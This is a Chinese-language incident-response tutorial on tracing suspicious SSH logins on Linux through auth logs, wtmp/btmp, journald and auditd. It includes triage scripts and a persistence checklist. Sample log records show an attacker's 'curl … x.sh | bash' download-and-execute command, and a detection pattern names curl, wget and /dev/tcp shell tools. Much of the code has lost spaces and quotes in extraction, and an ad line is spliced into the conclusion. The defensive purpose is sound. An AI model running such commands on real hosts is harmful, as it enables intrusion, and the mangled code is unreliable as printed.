
一、引言当告警响起时你只有日志绝大多数 Linux 服务器的失陷起点都指向同一个入口远程登录。无论是 SSH 弱口令被爆破、私钥泄露还是通过 Web 漏洞写入的 WebShell 反向建立会话攻击者最终都要在系统上留下一次登录痕迹。而在应急响应Incident Response的黄金 4 小时里安全工程师手上唯一可信的原始证据往往就是/var/log/下那几份纯文本日志。先看一个真实的失陷时间线它几乎每天都在发生03:12:04 Failed password for root from 45.x.x.12 ← 爆破开始 03:17:22 Accepted password for root from 45.x.x.12 ← 爆破成功 03:17:35 session opened for user root 03:18:02 COMMAND/usr/bin/curl http://45.x.x.12/x.sh ← sudo 记录 03:18:40 session closed for user root从爆破成功到后门落地只有不到 80 秒。如果你在第 5 小时才开始排查攻击者早已完成横向移动、清理日志、埋好持久化。这就是为什么应急响应的核心不是会不会用工具而是多快能定位入口、多准能还原动作。痛点非常真实数据源分散且格式不一。RHEL/CentOS 系写/var/log/secureDebian/Ubuntu 系写/var/log/auth.logsystemd 发行版还要叠加journald二进制日志wtmp/btmp/lastlog又需要专门工具解析。日志生命周期极短。logrotate默认按周轮转、保留 4 周一次 APT 攻击潜伏三个月第一周的日志早已被覆盖。攻击者会反取证。清空auth.log、删除wtmp、sed掉自己的 IP、甚至用ld.so.preload劫持readdir隐藏文件——这些都是常规操作。噪声淹没信号。一台暴露在公网的服务器每天几千条 SSH 爆破失败记录是常态真正的成功登录藏在其中靠肉眼翻日志几乎不可能。时间不同步。多台机器时区不一致、NTP 未同步导致跨主机关联时时间线对不上这一步没做好后面所有分析都是错的。本文不谈空泛的方法论直接从日志产生原理出发给出一套可落地的排查路径和脚本帮助你在真实应急场景中快速锁定异常登录、还原攻击时间线。二、核心原理认证链路与日志产生点2.1 一次 SSH 登录日志是怎么写出来的要会查日志先要知道日志从哪来。以 OpenSSH 为例客户端发起连接sshd主进程 fork 出子进程处理会话认证阶段走PAMPluggable Authentication Modulespam_unix.so、pam_tally2/pam_faillock等模块参与认证结果通过syslog(3)接口投递到/dev/logrsyslog/syslog-ng按authprivfacility 规则落盘到secure或auth.log登录成功时sshd还会调用login/pam_lastlog写入utmp/wtmp二进制记录。这条链路上有三个关键认知文本日志可被 root 篡改但wtmp是二进制、auditd是内核态篡改成本依次升高PAM 层和 sshd 层会各记一份比对两者差异是发现篡改的有效手段systemd 系统默认journald可能不持久化Storagevolatile重启即丢这是应急现场最常见的证据消失原因。再深入一层rsyslog的落盘规则由/etc/rsyslog.conf中的 selector 决定典型的 authpriv 规则长这样authpriv.* /var/log/secure # RHEL/CentOS authpriv.* /var/log/auth.log # Debian/Ubuntu这解释了一个常见困惑为什么同样的 SSH 事件在 CentOS 上要去secure找在 Ubuntu 上要去auth.log找——不是日志内容不同而是rsyslog配置的目标文件不同。应急时如果不确定发行版可以一条命令同时兜底grep-hEsshd/var/log/secure* /var/log/auth.log*2/dev/nulljournald的持久化问题值得单独强调。默认配置/etc/systemd/journald.conf中Storageauto在/var/log/journal/目录不存在时退化为易失模式只保存在内存的/run/log/journal/。这意味着一旦攻击者触发重启或你排查时手贱重启所有 journald 日志全部蒸发。应急第一步就应该检查并立即转存# 检查是否为持久化模式grep-E^Storage/etc/systemd/journald.confls-d/var/log/journal2/dev/null||echo[!] journald 未持久化重启即丢# 立即导出全部 SSH 相关 journal 到文本固化证据journalctl-usshd--since7 days ago--no-pager/evidence/sshd_journal.txt2.2 关键日志文件速查表文件内容解析工具/var/log/secure|auth.logSSH 认证、sudo、su 事件grep / awk/var/log/wtmp历史登录、注销、关机记录last -aiF、utmpdump/var/log/btmp失败登录记录lastb -aiF/var/log/lastlog每个账号最后登录时间lastlog/var/log/audit/audit.log内核级审计execve、文件访问ausearch、aureport/var/log/messages|syslog系统通用事件、服务启停grepjournalctlsystemd 统一日志journalctl -u sshd补充几点实战经验wtmp和btmp都是二进制 utmp 格式用cat看是乱码但正因为是二进制普通文本编辑器误改会直接破坏文件结构攻击者通常选择删除整个文件而不是编辑反而留下文件缺失的痕迹。lastlog只记录每个账号最后一次登录覆盖式写入所以它能告诉你某个可疑账号最后一次登录是什么时候但无法给出历史序列。auditd不是默认全部开启的很多生产环境根本没装应急前应先确认systemctl status auditd否则第四节的重建时间线会落空。2.3 正常与异常的特征差异一次正常的 SSH 登录日志序列大致是Accepted publickey for ops from 10.0.1.23 port 51234 ssh2: RSA SHA256:... pam_unix(sshd:session): session opened for user ops by (uid0)而异常登录往往伴随以下特征Accepted password for root from 公网IP—— root 允许密码登录本身就是高危配置短时间内大量Failed password后紧跟一条Accepted典型爆破成功登录源 IP 与账号历史登录地地理/ASN不一致登录时间处于业务低峰期凌晨 2–5 点登录后立即出现session opened→sudo→session closed的极短会话。把正常和异常放在一起对比特征会更直观# 正常内网 IP、公钥认证、业务时段、会话持续数小时 Mar 14 10:22:01 web01 sshd[1234]: Accepted publickey for ops from 10.0.1.23 port 51234 ssh2 Mar 14 10:22:01 web01 sshd[1234]: pam_unix(sshd:session): session opened for user ops Mar 14 15:40:11 web01 sshd[1234]: pam_unix(sshd:session): session closed for user ops # 异常公网 IP、密码认证、凌晨、会话仅 40 秒 Mar 14 03:17:22 web01 sshd[8821]: Accepted password for root from 45.x.x.12 port 40021 ssh2 Mar 14 03:17:35 web01 sshd[8821]: pam_unix(sshd:session): session opened for user root Mar 14 03:18:02 web01 sshd[8821]: pam_unix(sshd:session): session closed for user root还有一个极易被忽略的异常信号认证成功但没有对应的session opened。这可能意味着sshd的 PAM 栈被篡改攻击者用UsePAM no或替换了pam_unix.so来静默登录。遇到这种半截日志要立刻检查/etc/pam.d/sshd是否被改动、/lib*/security/pam_unix.so的 mtime 是否异常。三、实战案例从一条告警到定位后门场景某电商对外 Web 服务器CentOS 7公网 IPSIEM 告警检测到来自境外 IP 的 SSH 登录成功。值班工程师需要在 30 分钟内给出初步结论。3.1 第一步快速定位失败与成功登录不要上来就cat整个文件。先做聚合统计用最小 IO 换取最大信息量# 1) 失败登录 TOP 20 源 IP兼容 RHEL/Debian 两种日志格式grep-hEFailed password|Invalid user/var/log/secure*2/dev/null\|grep-oEfrom ([0-9]{1,3}\.){3}[0-9]{1,3}\|awk{print $2}|sort|uniq-c|sort-rn|head-20# 2) 所有成功登录记录含公钥带时间戳grep-hEAccepted (password|publickey)/var/log/secure*2/dev/null# 3) 用二进制 wtmp 交叉验证攻击者删了文本日志这里还在last-aiF|head-30lastb-aiF|head-30# 失败记录关键点grep -oE比awk {print $NF-3}更稳健因为invalid user存在与否会导致字段错位——这是新手最常踩的坑。举例说明下面两行日志的字段数量不同Failed password for root from 45.x.x.12 port 40021 ssh2 Failed password for invalid user admin from 45.x.x.12 port 40022 ssh2第二行多了invalid user两个词如果按固定字段位置取 IP比如$NF-3第一行能取对第二行就会取到错误的字段。而grep -oE from IP是基于模式匹配与字段数无关永远准确。再看第 3 步的last -aiF参数含义-a把主机名显示在最后一列-i显示 IP 而非主机名避免 DNS 反向解析拖慢速度、也能暴露真实 IP-F显示完整登录/注销时间。这三个参数组合是应急场景的标配。另外提醒一个踩坑点/var/log/secure*里的*是通配符会匹配secure、secure-20240310、secure-20240303等所有轮转文件。如果漏掉*你只会查到当前日志历史轮转文件里的证据就丢了。3.2 第二步用 Python 做时间窗口关联分析人工比对失败 N 次后成功效率极低。下面这个脚本自动完成爆破成功的识别#!/usr/bin/env python3# ssh_bruteforce_triage.py —— 识别爆破后成功登录的 IPimportrefromcollectionsimportdefaultdict LOG/var/log/secureIP_REre.compile(rfrom\s((?:\d{1,3}\.){3}\d{1,3}))FAIL_REre.compile(rFailed password for (?:invalid user )?(\S))OK_REre.compile(rAccepted (?:password|publickey) for (\S))failsdefaultdict(int)# ip - 失败次数usersdefaultdict(set)# ip - 尝试过的账号success{}# ip - (账号, 时间戳)withopen(LOG,errorsignore)asf:forlineinf:ip_mIP_RE.search(line)ifnotip_m:continueipip_m.group(1)ifFAIL_RE.search(line):fails[ip]1users[ip].add(FAIL_RE.search(line).group(1))ok_mOK_RE.search(line)ifok_m:success[ip](ok_m.group(1),line[:15])# 前15字符即时间戳forip,cntinsorted(fails.items(),keylambdax:-x[1]):ifipinsuccessandcnt5:user,tssuccess[ip]print(f[高危]{ip}失败{cnt}次后成功登录 | 账号{user}f| 时间{ts}| 尝试账号数{len(users[ip])})输出示例[高危] 45.xxx.xxx.12 失败 3821 次后成功登录 | 账号root | 时间Mar 14 03:17:22 | 尝试账号数27到这里攻击入口基本确认root 密码被爆破成功。脚本里有几个设计细节值得说明也是优化方向errorsignore日志文件可能混入非 UTF-8 字节尤其是被攻击者写入的畸形内容不加这个参数 Python 会直接抛UnicodeDecodeError中断。line[:15]取时间戳rsyslog默认格式Mar 14 03:17:22正好 15 个字符直接切片比正则更快。只统计cnt 5过滤掉偶尔输错密码的正常用户避免误报。可扩展方向真实环境应加入时间窗口判断——统计成功登录前 10 分钟内该 IP 的失败次数比全局计数更能精准定位爆破成功。改进思路是把success[ip]改成记录时间戳列表再对每条成功记录回溯前 10 分钟的失败记录。如果要处理跨多台机器、上百 MB 的日志建议用awk做第一层过滤速度快、内存占用低再交给 Python 做关联逻辑避免 Python 直接读取超大文件导致内存膨胀。3.3 第三步账号与持久化后门排查登录只是开始真正的损失取决于攻击者留下了什么。按以下顺序排查持久化机制#!/bin/bash# persistence_check.sh —— 应急响应持久化排查清单echo [1] UID0 的特权账号 awk-F:($30){print $1 UID$3 SHELL$7}/etc/passwdecho [2] 空口令账号 awk-F:($2){print $1}/etc/shadowecho [3] 最近 30 天被修改的 authorized_keys find/root /home-nameauthorized_keys-mtime-30-ls2/dev/nullecho [4] 可疑定时任务 crontab-l2/dev/null;ls-la/etc/cron.d/ /var/spool/cron/grep-rEcurl|wget|base64|/dev/tcp/etc/cron*2/dev/nullecho [5] systemd 自建服务单元 find/etc/systemd/system-name*.service-mtime-30-ls2/dev/nullecho [6] LD_PRELOAD 劫持 cat/etc/ld.so.preload2/dev/nullecho[!] 存在 preload高度可疑echo [7] 对外连接与监听端口 ss-antp|grepESTAB ss-lntpecho [8] 隐藏进程对比 /proc 与 ps ps-ef|awk{print $2}|sort-n/tmp/ps.txtls/proc|grep-E^[0-9]$|sort-n/tmp/proc.txtcomm-13/tmp/ps.txt /tmp/proc.txt# 只存在于 /proc 的 PID 可能被 rootkit 隐藏其中第 8 项尤其重要ps依赖/proc目录读取如果 rootkit 劫持了readdir会出现/proc里有但ps看不到的进程comm -13就是抓这种差异。逐项说明设计意图和常见陷阱[1] UID0 特权账号攻击者最爱的后门是直接加一个 UID 为 0 的账号如admin:x:0:0::/root:/bin/bash它拥有和 root 完全相同的权限但账号名不是 root容易被忽略。必须检查的是第三字段UID是否为 0而不是第一字段是否为 root。[2] 空口令账号/etc/shadow第二字段为空表示无需密码即可登录。注意要区分!!账号锁定和*禁止密码登录——这两种是安全的只有完全为空才是危险的。[3] authorized_keys攻击者写入自己的公钥后可以永久免密登录且不受改密影响。-mtime -30只列最近 30 天被改动的避免被系统自带公钥淹没。[4] 定时任务crontab -l只列当前用户的必须同时看/etc/cron.d/、/etc/crontab、/var/spool/cron/三处。关键词curl|wget|base64|/dev/tcp覆盖了下载执行和反弹 shell两大类恶意行为。[6] LD_PRELOAD/etc/ld.so.preload一旦存在内容几乎可以判定被入侵——正常系统这个文件要么不存在要么为空。攻击者用它劫持readdir隐藏文件、open隐藏进程等系统调用。[8] 隐藏进程这是判断 rootkit 是否存在的照妖镜。ps走的是/proc的readdir系统调用被劫持后会漏掉恶意进程而直接ls /proc在某些 rootkit 下也可能被劫持更彻底的方式是读取/proc/sched_debug或用unhide工具。3.4 第四步用 auditd 重建精确时间线如果系统开启了auditd它是内核态记录、用户态无法绕过的证据源价值远高于文本日志# 查询指定 IP 登录相关的所有审计事件ausearch-mUSER_LOGIN,USER_AUTH--starttoday-i|grep45.xxx.xxx.12# 查询某账号执行过的所有命令含参数ausearch-uaroot-tstoday-i|grep-EtypeEXECVE|typeSYSCALL# 生成账号登录报表aureport-l--summary# 登录事件汇总aureport-au--summary# 认证失败汇总# 追踪特定文件被谁改动ausearch-f/etc/passwd-iausearch-f/root/.ssh/authorized_keys-iauditd的强大之处在于它记录的是系统调用级的事件。举例来说当攻击者执行curl http://45.x.x.12/x.sh | bash时文本日志只会留下某人登录过而 auditd 会完整记录typeEXECVE msgaudit(1710386282.123:456): argc3 a0curl a1http://45.x.x.12/x.sh a2-o typeSYSCALL msgaudit(1710386282.123:456): archx86_64 syscallexecve ... uid0 gid0argc和a0/a1/a2就是命令行参数的逐项记录即使攻击者事后删了.bash_historyauditd 里的记录依然存在。这就是为什么应急响应必须优先保全 auditd 日志。需要注意的是auditd 默认规则可能并不覆盖所有 execve。如果发现ausearch -m EXECVE没有输出要检查是否加载了执行审计规则# 添加全量 execve 审计生产环境慎用日志量极大auditctl-aalways,exit-Farchb64-Sexecve-kcmd_audit# 查看当前生效的规则auditctl-l四、常见踩坑与优化建议踩坑 1只看当前日志忽略轮转文件。很多工程师习惯grep xxx /var/log/secure但攻击如果发生在几天前记录早已进入secure-20240310。正确做法是始终带通配符/var/log/secure*。踩坑 2时区不一致导致时间线错乱。容器、宿主机、日志服务器可能使用不同时区。分析前先用timedatectl确认所有节点时区统一换算为 UTC 再关联。踩坑 3直接在生产机上跑重量级分析脚本。grep一个几 GB 的日志会占满 IO影响业务。应急时应先cp到分析机或用nice/ionice降低优先级。踩坑 4改动原始证据。应急响应的第一原则是保全证据。在排查前先对关键日志做只读快照mkdir-p/evidencecd/evidenceforfinsecure btmp wtmp lastlog audit/audit.log;docp-a/var/log/$f./$(echo$f|tr/_).$(date%s)2/dev/nulldonesha256sum *evidence.sha256# 记录哈希保证证据链完整优化建议 1集中化日志。单机排查的天花板很低应该用rsyslog或 Filebeat 把日志实时转发到中央日志平台即使本机被清空远端仍有备份。优化建议 2给 SSH 加探针。在sshd_config里设置LogLevel VERBOSE可以记录登录时使用的密钥指纹Found matching RSA key这对私钥泄露类事件的溯源至关重要。优化建议 3用 faillock 自动封禁。pam_faillock可以在连续失败 N 次后锁定账号从源头降低爆破成功率比事后排查更有效。五、FAQ应急排查高频问题Q1/var/log/secure是空的或不存在怎么办A先确认发行版。Debian/Ubuntu 用auth.log再确认rsyslog是否运行systemctl status rsyslog最后查journalctl -u sshdsystemd 系统即使 rsyslog 挂了journald 里仍有记录。Q2攻击者把日志删了还能恢复吗A文本日志被删很难恢复除非文件系统层面取证。但wtmp/btmp是独立文件攻击者未必想到删auditd在内核态用户态删不掉另外检查是否有远程日志备份。这就是集中化日志的价值。Q3last显示很多still logged in正常吗A不一定。如果服务器被异常重启wtmp 里会残留大量未正常注销的记录。但如果某个still logged in的会话源 IP 可疑要立即用who -a和ss交叉验证当前真实会话。Q4怎么判断登录是人还是脚本A看会话时长和命令密度。脚本登录通常会话极短秒级、命令集中、无交互延迟人登录会有较长的思考间隔。结合 auditd 的 EXECVE 时间戳可以精确区分。Q5发现入侵后第一步该做什么A隔离而非关机。关机shutdown会丢失内存中的证据进程、网络连接、未落盘日志。正确顺序是网络隔离iptables封禁→ 内存取证ps、ss、/proc→ 磁盘证据快照 → 再决定是否下线。六、总结Linux 异常登录排查的本质是在攻击者反取证之前用最快的速度从多个独立证据源交叉验证。记住三条主线文本日志secure/auth.log看发生了什么——快速聚合定位爆破成功二进制日志wtmp/btmp/lastlog看谁来过——交叉验证发现篡改内核审计auditd看做了什么——重建时间线还原攻击动作。三者互为补充、互相印证。更多硬核网安与AI工具包请扫码获取完整源码任何一个数据源被破坏都不至于让整个分析断链。把这套流程脚本化、清单化下次告警响起时你就能在 30 分钟内给出经得起推敲的结论。